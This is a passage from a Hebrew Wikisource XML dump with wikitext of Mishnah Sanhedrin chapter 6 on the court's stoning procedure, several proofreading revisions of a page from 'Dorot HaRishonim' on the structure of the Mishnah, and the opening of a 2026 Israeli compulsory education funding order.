{{המשנה|א|ו|סנהדרין}} &lt;קטע התחלה=א/&gt;נִגְמַר הַדִּין, מוֹצִיאִין אוֹתוֹ לְסָקְלוֹ. בֵּית הַסְּקִילָה הָיָה חוּץ לְבֵית דִּין, שֶׁנֶּאֱמַר {{ממ|ויקרא|כד|יד}}: &quot;הוֹצֵא אֶת הַמְקַלֵּל&quot;. אֶחָד עוֹמֵד עַל פֶּתַח בֵּית דִּין וְהַסּוּדָרִין בְּיָדוֹ, וְהַסּוּס [{{ק|נ&quot;א:}} וְאָדָם אֶחָד רוֹכֵב הַסּוּס] רָחוֹק מִמֶּנּוּ, כְּדֵי שֶׁיְּהֵא רוֹאֵהוּ; אוֹמֵר אֶחָד: יֵשׁ לִי לְלַמֵּד עָלָיו זְכוּת, הַלָּה מֵנִיף בַּסּוּדָרִין, וְהַסּוּס רָץ וּמַעֲמִידוֹ. וַאֲפִלּוּ הוּא אוֹמֵר: יֵשׁ לִי לְלַמֵּד עַל עַצְמִי זְכוּת, מַחֲזִירִין אוֹתוֹ, אֲפִלּוּ אַרְבָּעָה וַחֲמִשָּׁה פְּעָמִים; וּבִלְבַד שֶׁיֵּשׁ מַמָּשׁ בִּדְבָרָיו. מָצְאוּ לוֹ זְכוּת, פְּטָרוּהוּ; וְאִם לָאו, יוֹצֵא לִסָּקֵל. וְכָרוֹז יוֹצֵא לְפָנָיו: אִישׁ פְּלוֹנִי בֶּן פְּלוֹנִי יוֹצֵא לִסָּקֵל, עַל שֶׁעָבַר עֲבֵרָה פְּלוֹנִית, וּפְלוֹנִי וּפְלוֹנִי עֵדָיו; כָּל מִי שֶׁיּוֹדֵעַ לוֹ זְכוּת, יָבוֹא וִילַמֵּד עָלָיו:&lt;קטע סוף=א/&gt;

{{המשנה|ב|ו|סנהדרין}}
&lt;קטע התחלה=ב/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה כְּעֶשֶׂר אַמּוֹת, אוֹמְרִים לוֹ: הִתְוַדֵּה, שֶׁכֵּן דֶּרֶךְ הַמּוּמָתִין מִתְוַדִּין, שֶׁכָּל הַמִּתְוַדֶּה – יֵשׁ לוֹ חֵלֶק לָעוֹלָם הַבָּא. שֶׁכֵּן מָצִינוּ בְּעָכָן, שֶׁאָמַר לוֹ יְהוֹשֻׁעַ {{ממ|יהושע|ז|יט}}: בְּנִי, שִׂים נָא כָבוֹד לַה' אֱלֹהֵי יִשְׂרָאֵל וְתֶן לוֹ תוֹדָה וְגוֹ'. וַיַּעַן עָכָן אֶת יְהוֹשֻׁעַ וַיֹּאמַר: אָמְנָה אָנֹכִי חָטָאתִי [לַה' אֱלֹהֵי יִשְׂרָאֵל] וְכָזֹאת וְגוֹ'. וּמִנַּיִן שֶׁכִּפֵּר לוֹ וִדּוּיוֹ? שֶׁנֶּאֱמַר {{ק|([[יהושע ז כה|שם, כה]])}}: וַיֹּאמֶר יְהוֹשֻׁעַ: מֶה עֲכַרְתָּנוּ? יַעְכָּרְךָ ה' בַּיּוֹם הַזֶּה; הַיּוֹם הַזֶּה אַתָּה עָכוּר, וְאִי אַתָּה עָכוּר לָעוֹלָם הַבָּא. וְאִם אֵינוֹ יוֹדֵעַ לְהִתְוַדּוֹת, אוֹמְרִים לוֹ: אֱמֹר: תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲווֹנוֹתָי. רַבִּי יְהוּדָה אוֹמֵר: אִם הָיָה יוֹדֵעַ שֶׁהוּא מְזֻמָּם, אוֹמֵר: תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲוֹנוֹתַי, חוּץ מֵעָוֹן זֶה. אָמְרוּ לוֹ: אִם כֵּן, יְהוּ כָּל אָדָם אוֹמְרִים כָּךְ, כְּדֵי לְנַקּוֹת אֶת עַצְמָן:&lt;קטע סוף=ב/&gt;

{{המשנה|ג|ו|סנהדרין}} &lt;קטע התחלה=ג/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה אַרְבַּע אַמּוֹת, מַפְשִׁיטִין אוֹתוֹ אֶת בְּגָדָיו. הָאִישׁ, מְכַסִּין אוֹתוֹ מִלְּפָנָיו, וְהָאִשָּׁה, מִלְּפָנֶיהָ וּמֵאַחֲרֶיהָ, דִּבְרֵי רַבִּי יְהוּדָה; וַחֲכָמִים אוֹמְרִים: הָאִישׁ נִסְקָל עָרֹם, וְאֵין הָאִשָּׁה נִסְקֶלֶת עֲרֻמָּה:&lt;קטע סוף=ג/&gt;

{{המשנה|ד|ו|סנהדרין}} &lt;קטע התחלה=ד/&gt;בֵּית הַסְּקִילָה הָיָה גָּבוֹהַּ שְׁתֵּי קוֹמוֹת. אֶחָד מִן הָעֵדִים דּוֹחֲפוֹ עַל מָתְנָיו. נֶהְפַּךְ עַל לִבּוֹ, הוֹפְכוֹ עַל מָתְנָיו. אִם מֵת בָּהּ, יָצָא; וְאִם לָאו, הַשֵּׁנִי נוֹטֵל אֶת הָאֶבֶן וְנוֹתְנָהּ עַל לִבּוֹ. אִם מֵת בָּהּ, יָצָא; וְאִם לָאו, רְגִימָתוֹ בְכָל יִשְׂרָאֵל, שֶׁנֶּאֱמַר {{ממ|דברים|יז|ז}}: יַד הָעֵדִים תִּהְיֶה בּוֹ בָרִאשֹׁנָה לַהֲמִיתוֹ, וְיַד כָּל הָעָם בָּאַחֲרֹנָה. כָּל הַנִּסְקָלִין נִתְלִין, דִּבְרֵי רַבִּי אֱלִיעֶזֶר; וַחֲכָמִים אוֹמְרִים: אֵינוֹ נִתְלֶה, אֶלָּא הַמְּגַדֵּף, וְהָעוֹבֵד עֲבוֹדָה זָרָה. הָאִישׁ תּוֹלִין אוֹתוֹ פָּנָיו כְּלַפֵּי הָעָם, וְהָאִשָּׁה – פָּנֶיהָ כְּלַפֵּי הָעֵץ, דִּבְרֵי רַבִּי אֱלִיעֶזֶר; וַחֲכָמִים אוֹמְרִים: הָאִישׁ נִתְלֶה, וְאֵין הָאִשָּׁה נִתְלֵית. אָמַר לָהֶן רַבִּי אֱלִיעֶזֶר: וַהֲלֹא שִׁמְעוֹן בֶּן שָׁטַח תָּלָה נָשִׁים בְּאַשְׁקְלוֹן! אָמְרוּ לוֹ: שְׁמוֹנִים נָשִׁים תָּלָה, וְאֵין דָּנִין שְׁנַיִם בְּיוֹם אֶחָד. כֵּיצַד תּוֹלִין אוֹתוֹ? מְשַׁקְּעִין אֶת הַקּוֹרָה בָּאָרֶץ, וְהָעֵץ יוֹצֵא מִמֶּנָּה, וּמַקִּיף שְׁתֵּי יָדָיו זוֹ עַל גַּבֵּי זוֹ, וְתוֹלֶה אוֹתוֹ. רַבִּי יוֹסֵי אוֹמֵר: הַקּוֹרָה מֻטָּה עַל הַכֹּתֶל, וְתוֹלֶה אוֹתוֹ, כְּדֶרֶךְ שֶׁהַטַּבָּחִין עוֹשִׂין. וּמַתִּירִין אוֹתוֹ מִיָּד; וְאִם לָן, עוֹבֵר עָלָיו בְּלֹא תַּעֲשֶׂה, שֶׁנֶּאֱמַר {{ממ|דברים|כא|כג}}: לֹא תָלִין נִבְלָתוֹ עַל הָעֵץ, כִּי קָבוֹר תִּקְבְּרֶנּוּ בַּיּוֹם הַהוּא, כִּי קִלְלַת אֱלֹהִים תָּלוּי וְגוֹ'. כְּלוֹמַר: מִפְּנֵי מָה זֶה תָּלוּי? מִפְּנֵי שֶׁבֵּרֵךְ אֶת הַשֵּׁם; וְנִמְצָא שֵׁם שָׁמַיִם מִתְחַלֵּל:&lt;קטע סוף=ד/&gt;

{{המשנה|ה|ו|סנהדרין}} &lt;קטע התחלה=ה/&gt;אָמַר רַבִּי מֵאִיר: בִּזְמַן שֶׁאָדָם מִצְטַעֵר, שְׁכִינָה מָה הַלָּשׁוֹן אוֹמֶרֶת (כְּבַיָּכוֹל)? קַלַּנִי מֵרֹאשִׁי, קַלַּנִי מִזְּרוֹעִי. אִם כֵּן הַמָּקוֹם מִצְטַעֵר עַל דָּמָם שֶׁל רְשָׁעִים שֶׁנִּשְׁפַּךְ, קַל וָחֹמֶר עַל דָּמָם שֶׁל צַדִּיקִים. וְלֹא זוֹ בִּלְבַד, אֶלָּא כָּל הַמֵּלִין אֶת מֵתוֹ, עוֹבֵר בְּלֹא תַעֲשֶׂה. הֱלִינוֹ לִכְבוֹדוֹ לְהָבִיא לוֹ אָרוֹן וְתַכְרִיכִים, אֵינוֹ עוֹבֵר עָלָיו. וְלֹא הָיוּ קוֹבְרִין אוֹתוֹ בְּקִבְרוֹת אֲבוֹתָיו, אֶלָּא שְׁנֵי בָּתֵּי קְבָרוֹת הָיוּ מְתֻקָּנִין לְבֵית דִּין: אֶחָד לַנֶּהֱרָגִין וְלַנֶּחֱנָקִין, וְאֶחָד לַנִּסְקָלִין וְלַנִּשְׂרָפִין:&lt;קטע סוף=ה/&gt;

{{המשנה|ו|ו|סנהדרין}} &lt;קטע התחלה=ו/&gt;נִתְעַכֵּל הַבָּשָׂר, מְלַקְּטִין אֶת הָעֲצָמוֹת, וְקוֹבְרִין אוֹתָן בִּמְקוֹמָן. וְהַקְּרוֹבִים בָּאִים וְשׁוֹאֲלִין בִּשְׁלוֹם הַדַּיָּנִין וּבִשְׁלוֹם הָעֵדִים, כְּלוֹמַר: שֶׁאֵין בְּלִבֵּנוּ עֲלֵיכֶם כְּלוּם, שֶׁדִּין אֱמֶת דַּנְתֶּם. וְלֹא הָיוּ מִתְאַבְּלִין, אֲבָל אוֹנְנִין, שֶׁאֵין אֲנִינוּת אֶלָּא בַּלֵּב:&lt;קטע סוף=ו/&gt;

&lt;noinclude&gt;
[[קטגוריה:משנה מנוקד|סנהדרין ו]]
[[קטגוריה:מסכת סנהדרין|ו]]
&lt;/noinclude&gt;</text>
      <sha1>5mkp69mpaesjav6eea11ngl6qfwishf</sha1>
    </revision>
  </page>
  <page>
    <title>עמוד:דורות הראשונים ד.pdf/422</title>
    <ns>104</ns>
    <id>1744398</id>
    <revision>
      <id>3020651</id>
      <parentid>3020643</parentid>
      <timestamp>2026-06-18T15:21:14Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020651</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4215" sha1="cifxqn87b02drem3716zw2iwc5r93rh" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫סוף סידור המשנה וחתימתה‬

‫תכו‬
&lt;קטע התחלה=פרק נד/&gt;
ובאמת כן הדבר שגם משום שהן יושבות על כל דם ומשלימות דם אדום
לדם ירוק גם כן הוו בועלי נדות{{שוליים|(עח)}}.

ועל כן הנה לדברי רש&quot;י ז״ל הננו מבינים עוד יותר סדר לשונו של ר׳ מאיר.

והכל הולך למקום אחד כי דברי התנאים כולם ילכו על דברי יסוד המשנה,
ובנוגע ליסוד המשנה דבר התנאים והאמוראים אחת.

וב[[משנה פאה ב א|ריש פרק ב׳ דפאה]] &quot;ואלו מפסיקין לסאה הנחל והשלולית ודרך היחיד
ודרך הרבים ושביל הרבים ושביל היחיד הקבוע בימות החמה ובימות הגשמים
והבור והניר וזרע אחר.

והקוצר לשחת מפסיק דברי ר׳ מאיר וחכמים אומרים אינו מפסיק אלא אם
כן חרש״.

והדבר בולט כי הכלל הבא בריש הפרק הוא יסוד המשנה ואחר זה באו
דברי התנאים בדיני מקרים כאלה כמו איך הדין בהקוצר לשחת.

ועל &quot;השלולית&quot; אשר נאמר ביסוד המשנה בא ב[[משנה פאה ב ב|משנה ב׳]]:

״אמת המים שאינה יכולה להקצר כאחת ר׳ יהודה אומר םפסקת.״

והרמב״ם פסק כר׳ יהודה, וכבר כתב [[רמב&quot;ם הלכות מתנות עניים ג א|שם בפ&quot;ג ממתנות עניים ה&quot;א]] [[כסף משנה/הלכות מתנות עניים|הכסף
משנה]] ״נ&quot;ל שהוא מפרש דדברי הכל היא ונכתב בשם ר׳ יהודה '''משום דהוא'''
'''אמרה בי מדרשא ואתא לפרושי &quot;שלולית&quot; דתנא ברישא'''
דמפסקת דהני מילי בשאינה יכולה להקצר כאחת&quot;.

וכמה ברורים הדברים האלה, ואלו עמדו רבותינו על עיקר הכלל הזה,
ואלו לא בראו לנו שם &quot;תנא קמא&quot; על כל כיוצא בזה, תיק אשר כל התנאים
באו לפרש דבריו, ואלו עמדו על זה שאין כאן בכל כיוצא בזה כל ת&quot;ק, כי אם
יסוד המשנה חלוטה ומקובלת לכל ודברי כל התנאים עליה, אז היינו עומדים
כבר בקרן אורה בנונע לרוב דברי המשנה.

כי באמת כן הוא בכל המשנה כולה מראשה לסופה.

ובמס' נדרים ד׳ נ&quot;ה ([[משנה נדרים ז ז|פ&quot;ז מ״ז]]) בא במשנה ״הנודר מן הכסות מותר בשק‬
‫וביריעה ובחמילה אמר קונם צמר עולה עלי מותר להתכסות בגיזי צמר פשתן‬
‫עולה עלי מותר להתכסות באניצי פשתן ר׳ יהודה אומר הכל לפי הנודד• טען והזיע‬
‫והי׳ ריחו קשה אמר קונם צמר ופשתים עולה עלי מותר להתכסות ואסור להפשיל‬
‫לאחוריו״‪.‬‬
‫וכבר כתב שם הרמב״ן דל בהלכותיו ״וקא פסק הד־ מרבוותא כד׳ יזצדה‬
‫ומסתברא כוותיה ואף על גב דתני ליה ביחידאה לית לן ר א י ה ד פ ל י ג י ר ב נ ן‬
‫ע ל י ה ב כ ל ו ם ותנן נסי בכהאי גוונא בפירקין דלעיל ר׳ יהודה אומר קונם נרים‬
‫והטה ש ל א ב א ר׳ י ה ו ד ה א ל א ל פ ר ש ד ב ר י ח כ מ י ם ותנן נסי אבא‬
‫שאול אומר הנודר מן הגבינה אסור בה בין מלוחה בין תפלה ו ל א ו‬
‫י‬
‫פ ל ו נ ת א היא״‪.‬‬
‫העדה )ע״ח( והתום׳ יום טוב שם כתב ״ל ‪r‬ון הריב כלומד לפיכך הכותים הם בועל' נדו ת‬
‫זבו׳ ובן פירש יע״י יצייך לומר דוי׳ו דוהן במקום שיין היא ו כ רי‪.‬‬
‫והגריא פירש שהן שני דברים‪ ,‬וחידוש •שלא הזכיר התום׳ יו־ט דברי ד׳ מאיר‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>cifxqn87b02drem3716zw2iwc5r93rh</sha1>
    </revision>
    <revision>
      <id>3020652</id>
      <parentid>3020651</parentid>
      <timestamp>2026-06-18T15:21:58Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020652</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4254" sha1="5jlt68q3kzdirqeyc46wdn7jco3mvlo" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫סוף סידור המשנה וחתימתה‬

‫תכו‬
&lt;קטע התחלה=פרק נד/&gt;
ובאמת כן הדבר שגם משום שהן יושבות על כל דם ומשלימות דם אדום
לדם ירוק גם כן הוו בועלי נדות{{שוליים|(עח)}}.

ועל כן הנה לדברי רש&quot;י ז״ל הננו מבינים עוד יותר סדר לשונו של ר׳ מאיר.

והכל הולך למקום אחד כי דברי התנאים כולם ילכו על דברי יסוד המשנה,
ובנוגע ליסוד המשנה דבר התנאים והאמוראים אחת.

וב[[משנה פאה ב א|ריש פרק ב׳ דפאה]] &quot;ואלו מפסיקין לסאה הנחל והשלולית ודרך היחיד
ודרך הרבים ושביל הרבים ושביל היחיד הקבוע בימות החמה ובימות הגשמים
והבור והניר וזרע אחר.

והקוצר לשחת מפסיק דברי ר׳ מאיר וחכמים אומרים אינו מפסיק אלא אם
כן חרש״.

והדבר בולט כי הכלל הבא בריש הפרק הוא יסוד המשנה ואחר זה באו
דברי התנאים בדיני מקרים כאלה כמו איך הדין בהקוצר לשחת.

ועל &quot;השלולית&quot; אשר נאמר ביסוד המשנה בא ב[[משנה פאה ב ב|משנה ב׳]]:

״אמת המים שאינה יכולה להקצר כאחת ר׳ יהודה אומר םפסקת.״

והרמב״ם פסק כר׳ יהודה, וכבר כתב [[רמב&quot;ם הלכות מתנות עניים ג א|שם בפ&quot;ג ממתנות עניים ה&quot;א]] [[כסף משנה/הלכות מתנות עניים|הכסף
משנה]] ״נ&quot;ל שהוא מפרש דדברי הכל היא ונכתב בשם ר׳ יהודה '''משום דהוא'''
'''אמרה בי מדרשא ואתא לפרושי &quot;שלולית&quot; דתנא ברישא'''
דמפסקת דהני מילי בשאינה יכולה להקצר כאחת&quot;.

וכמה ברורים הדברים האלה, ואלו עמדו רבותינו על עיקר הכלל הזה,
ואלו לא בראו לנו שם &quot;תנא קמא&quot; על כל כיוצא בזה, תיק אשר כל התנאים
באו לפרש דבריו, ואלו עמדו על זה שאין כאן בכל כיוצא בזה כל ת&quot;ק, כי אם
יסוד המשנה חלוטה ומקובלת לכל ודברי כל התנאים עליה, אז היינו עומדים
כבר בקרן אורה בנונע לרוב דברי המשנה.

כי באמת כן הוא בכל המשנה כולה מראשה לסופה.

ובמס' נדרים ד׳ נ&quot;ה ([[משנה נדרים ז ז|פ&quot;ז מ״ז]]) בא במשנה ״הנודר מן הכסות מותר בשק‬
‫וביריעה ובחמילה אמר קונם צמר עולה עלי מותר להתכסות בגיזי צמר פשתן‬
‫עולה עלי מותר להתכסות באניצי פשתן ר׳ יהודה אומר הכל לפי הנודד• טען והזיע‬
‫והי׳ ריחו קשה אמר קונם צמר ופשתים עולה עלי מותר להתכסות ואסור להפשיל‬
‫לאחוריו״‪.‬‬
‫וכבר כתב שם הרמב״ן דל בהלכותיו ״וקא פסק הד־ מרבוותא כד׳ יזצדה‬
‫ומסתברא כוותיה ואף על גב דתני ליה ביחידאה לית לן ר א י ה ד פ ל י ג י ר ב נ ן‬
‫ע ל י ה ב כ ל ו ם ותנן נסי בכהאי גוונא בפירקין דלעיל ר׳ יהודה אומר קונם נרים‬
‫והטה ש ל א ב א ר׳ י ה ו ד ה א ל א ל פ ר ש ד ב ר י ח כ מ י ם ותנן נסי אבא‬
‫שאול אומר הנודר מן הגבינה אסור בה בין מלוחה בין תפלה ו ל א ו‬
‫י‬
‫פ ל ו נ ת א היא״‪.‬‬

------------------------

{{שולייםלמטה|(עח)}} והתום׳ יום טוב שם כתב ״ל ‪r‬ון הריב כלומד לפיכך הכותים הם בועל' נדו ת‬
‫זבו׳ ובן פירש יע״י יצייך לומר דוי׳ו דוהן במקום שיין היא ו כ רי‪.‬‬

‫והגריא פירש שהן שני דברים‪ ,‬וחידוש •שלא הזכיר התום׳ יו־ט דברי ד׳ מאיר‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>5jlt68q3kzdirqeyc46wdn7jco3mvlo</sha1>
    </revision>
    <revision>
      <id>3020724</id>
      <parentid>3020652</parentid>
      <timestamp>2026-06-19T07:24:05Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020724</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4223" sha1="0tppii2irycjybkfwahwp12r7634st3" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫סוף סידור המשנה וחתימתה‬

‫תכו‬
&lt;קטע התחלה=פרק נד/&gt;
ובאמת כן הדבר שגם משום שהן יושבות על כל דם ומשלימות דם אדום
לדם ירוק גם כן הוו בועלי נדות{{שוליים|(עח)}}.

ועל כן הנה לדברי רש&quot;י ז״ל הננו מבינים עוד יותר סדר לשונו של ר׳ מאיר.

והכל הולך למקום אחד כי דברי התנאים כולם ילכו על דברי יסוד המשנה,
ובנוגע ליסוד המשנה דבר התנאים והאמוראים אחת.

וב[[משנה פאה ב א|ריש פרק ב׳ דפאה]] &quot;ואלו מפסיקין לסאה הנחל והשלולית ודרך היחיד
ודרך הרבים ושביל הרבים ושביל היחיד הקבוע בימות החמה ובימות הגשמים
והבור והניר וזרע אחר.

והקוצר לשחת מפסיק דברי ר׳ מאיר וחכמים אומרים אינו מפסיק אלא אם
כן חרש״.

והדבר בולט כי הכלל הבא בריש הפרק הוא יסוד המשנה ואחר זה באו
דברי התנאים בדיני מקרים כאלה כמו איך הדין בהקוצר לשחת.

ועל &quot;השלולית&quot; אשר נאמר ביסוד המשנה בא ב[[משנה פאה ב ב|משנה ב׳]]:

״אמת המים שאינה יכולה להקצר כאחת ר׳ יהודה אומר םפסקת.״

והרמב״ם פסק כר׳ יהודה, וכבר כתב [[רמב&quot;ם הלכות מתנות עניים ג א|שם בפ&quot;ג ממתנות עניים ה&quot;א]] [[כסף משנה/הלכות מתנות עניים|הכסף
משנה]] ״נ&quot;ל שהוא מפרש דדברי הכל היא ונכתב בשם ר׳ יהודה '''משום דהוא'''
'''אמרה בי מדרשא ואתא לפרושי &quot;שלולית&quot; דתנא ברישא'''
דמפסקת דהני מילי בשאינה יכולה להקצר כאחת&quot;.

וכמה ברורים הדברים האלה, ואלו עמדו רבותינו על עיקר הכלל הזה,
ואלו לא בראו לנו שם &quot;תנא קמא&quot; על כל כיוצא בזה, תיק אשר כל התנאים
באו לפרש דבריו, ואלו עמדו על זה שאין כאן בכל כיוצא בזה כל ת&quot;ק, כי אם
יסוד המשנה חלוטה ומקובלת לכל ודברי כל התנאים עליה, אז היינו עומדים
כבר בקרן אורה בנונע לרוב דברי המשנה.

כי באמת כן הוא בכל המשנה כולה מראשה לסופה.

ובמס' [[נדרים נה א|נדרים ד׳ נ&quot;ה]] ([[משנה נדרים ז ז|פ&quot;ז מ״ז]]) בא במשנה ״הנודר מן הכסות מותר בשק
וביריעה ובחמילה אמר קונם צמר עולה עלי מותר להתכסות בגיזי צמר פשתן
עולה עלי מותר להתכסות באניצי פשתן ר׳ יהודה אומר הכל לפי הנודר טען והזיע
והי׳ ריחו קשה אמר קונם צמר ופשתים עולה עלי מותר להתכסות ואסור להפשיל
לאחוריו״.

וכבר כתב שם הרמב״ן ז&quot;ל בהלכותיו ״וקא פסק חד מרבוותא כר׳ יהודה
ומסתברא כוותיה ואף על גב דתני ליה ביחידאה לית לן '''ראיה דפליגי רבנן'''
'''עליה בכלום''' ותנן נמי בכהאי גוונא בפירקין דלעיל ר׳ יהודה אומר קונם גריס
וחטה '''שלא בא ר׳ יהודה אלא לפרש דברי חכמים''' ותנן נמי אבא
שאול אומר הנודר מן הגבינה אסור בה בין מלוחה בין תפלה '''ולאו'''
'''פלוגתא היא'''״.

&lt;קטע סוף=פרק נד/&gt;
------------------------
&lt;קטע התחלה=הערות נד/&gt;
{{שולייםלמטה|(עח)}} והתוס׳ יום טוב שם כתב ״לשון הר&quot;ב כלומר לפיכך הכותים הם בועלי נדות
וכו' וכן פירש רש״י וצריך לומר דוי&quot;ו דוהן במקום שי&quot;ן היא וכו'.

והגר&quot;א פירש שהן שני דברים, וחידוש שלא הזכיר התוס׳ יו&quot;ט דברי ר׳ מאיר.

&lt;קטע סוף=הערות נד/&gt;&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>0tppii2irycjybkfwahwp12r7634st3</sha1>
    </revision>
    <revision>
      <id>3020725</id>
      <parentid>3020724</parentid>
      <timestamp>2026-06-19T07:24:48Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020725</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4223" sha1="2luuiqzvmkmzcqs5yqp7p0sfli4si03" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫סוף סידור המשנה וחתימתה‬

‫תכו‬
&lt;קטע התחלה=פרק נד/&gt;
ובאמת כן הדבר שגם משום שהן יושבות על כל דם ומשלימות דם אדום
לדם ירוק גם כן הוו בועלי נדות{{שוליים|(עח)}}.

ועל כן הנה לדברי רש&quot;י ז״ל הננו מבינים עוד יותר סדר לשונו של ר׳ מאיר.

והכל הולך למקום אחד כי דברי התנאים כולם ילכו על דברי יסוד המשנה,
ובנוגע ליסוד המשנה דבר התנאים והאמוראים אחת.

וב[[משנה פאה ב א|ריש פרק ב׳ דפאה]] &quot;ואלו מפסיקין לסאה הנחל והשלולית ודרך היחיד
ודרך הרבים ושביל הרבים ושביל היחיד הקבוע בימות החמה ובימות הגשמים
והבור והניר וזרע אחר.

והקוצר לשחת מפסיק דברי ר׳ מאיר וחכמים אומרים אינו מפסיק אלא אם
כן חרש״.

והדבר בולט כי הכלל הבא בריש הפרק הוא יסוד המשנה ואחר זה באו
דברי התנאים בדיני מקרים כאלה כמו איך הדין בהקוצר לשחת.

ועל &quot;השלולית&quot; אשר נאמר ביסוד המשנה בא ב[[משנה פאה ב ב|משנה ב׳]]:

״אמת המים שאינה יכולה להקצר כאחת ר׳ יהודה אומר םפסקת.״

והרמב״ם פסק כר׳ יהודה, וכבר כתב [[רמב&quot;ם הלכות מתנות עניים ג א|שם בפ&quot;ג ממתנות עניים ה&quot;א]] [[כסף משנה/הלכות מתנות עניים|הכסף
משנה]] ״נ&quot;ל שהוא מפרש דדברי הכל היא ונכתב בשם ר׳ יהודה '''משום דהוא'''
'''אמרה בי מדרשא ואתא לפרושי &quot;שלולית&quot; דתנא ברישא'''
דמפסקת דהני מילי בשאינה יכולה להקצר כאחת&quot;.

וכמה ברורים הדברים האלה, ואלו עמדו רבותינו על עיקר הכלל הזה,
ואלו לא בראו לנו שם &quot;תנא קמא&quot; על כל כיוצא בזה, תיק אשר כל התנאים
באו לפרש דבריו, ואלו עמדו על זה שאין כאן בכל כיוצא בזה כל ת&quot;ק, כי אם
יסוד המשנה חלוטה ומקובלת לכל ודברי כל התנאים עליה, אז היינו עומדים
כבר בקרן אורה בנונע לרוב דברי המשנה.

כי באמת כן הוא בכל המשנה כולה מראשה לסופה.

ובמס' [[נדרים נה ב|נדרים ד׳ נ&quot;ה]] ([[משנה נדרים ז ז|פ&quot;ז מ״ז]]) בא במשנה ״הנודר מן הכסות מותר בשק
וביריעה ובחמילה אמר קונם צמר עולה עלי מותר להתכסות בגיזי צמר פשתן
עולה עלי מותר להתכסות באניצי פשתן ר׳ יהודה אומר הכל לפי הנודר טען והזיע
והי׳ ריחו קשה אמר קונם צמר ופשתים עולה עלי מותר להתכסות ואסור להפשיל
לאחוריו״.

וכבר כתב שם הרמב״ן ז&quot;ל בהלכותיו ״וקא פסק חד מרבוותא כר׳ יהודה
ומסתברא כוותיה ואף על גב דתני ליה ביחידאה לית לן '''ראיה דפליגי רבנן'''
'''עליה בכלום''' ותנן נמי בכהאי גוונא בפירקין דלעיל ר׳ יהודה אומר קונם גריס
וחטה '''שלא בא ר׳ יהודה אלא לפרש דברי חכמים''' ותנן נמי אבא
שאול אומר הנודר מן הגבינה אסור בה בין מלוחה בין תפלה '''ולאו'''
'''פלוגתא היא'''״.

&lt;קטע סוף=פרק נד/&gt;
------------------------
&lt;קטע התחלה=הערות נד/&gt;
{{שולייםלמטה|(עח)}} והתוס׳ יום טוב שם כתב ״לשון הר&quot;ב כלומר לפיכך הכותים הם בועלי נדות
וכו' וכן פירש רש״י וצריך לומר דוי&quot;ו דוהן במקום שי&quot;ן היא וכו'.

והגר&quot;א פירש שהן שני דברים, וחידוש שלא הזכיר התוס׳ יו&quot;ט דברי ר׳ מאיר.

&lt;קטע סוף=הערות נד/&gt;&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>2luuiqzvmkmzcqs5yqp7p0sfli4si03</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)</title>
    <ns>116</ns>
    <id>1744399</id>
    <revision>
      <id>3020663</id>
      <timestamp>2026-06-18T16:42:27Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <comment>צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו), התשפ&quot;ו-2026</comment>
      <origin>3020663</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7465" sha1="b4idomzy7pnz1kz3we6h6jw4kwr873o" xml:space="preserve">&lt;שם&gt; צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו), התשפ&quot;ו-2026

&lt;מקור&gt; ((ק&quot;ת תשפ&quot;ו, 2258|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)|12432)).

&lt;מבוא&gt; בתוקף סמכותי לפי [[+|סעיף 7(ב)]] [[=החוק|לחוק לימוד חובה, התש&quot;ט-1949]] (להלן - החוק), בהתייעצות עם שר הפנים ועם ועדת החינוך התרבות והספורט של הכנסת, אני מצווה לאמור:

@ 1. הגדרות
: בצו זה -
:- &quot;אשכול יישובים&quot; - דירוג הרמה הכלכלית-חברתית לפי פרסומי הלשכה המרכזית לסטטיסטיקה;
:- &quot;בית ספר יסודי&quot; - מוסד חינוך רשמי שלומדים בו תלמידים בכיתות א' עד ו' או א' עד ח' או א' עד ט';
:- &quot;המשרד&quot; - משרד החינוך;
:- &quot;חוק חינוך מיוחד&quot; - [[חוק חינוך מיוחד, התשמ&quot;ח-1988]];
:- &quot;חטיבת ביניים&quot; - מוסד חינוך רשמי שלומדים בו תלמידים בכיתות ז' עד ט';
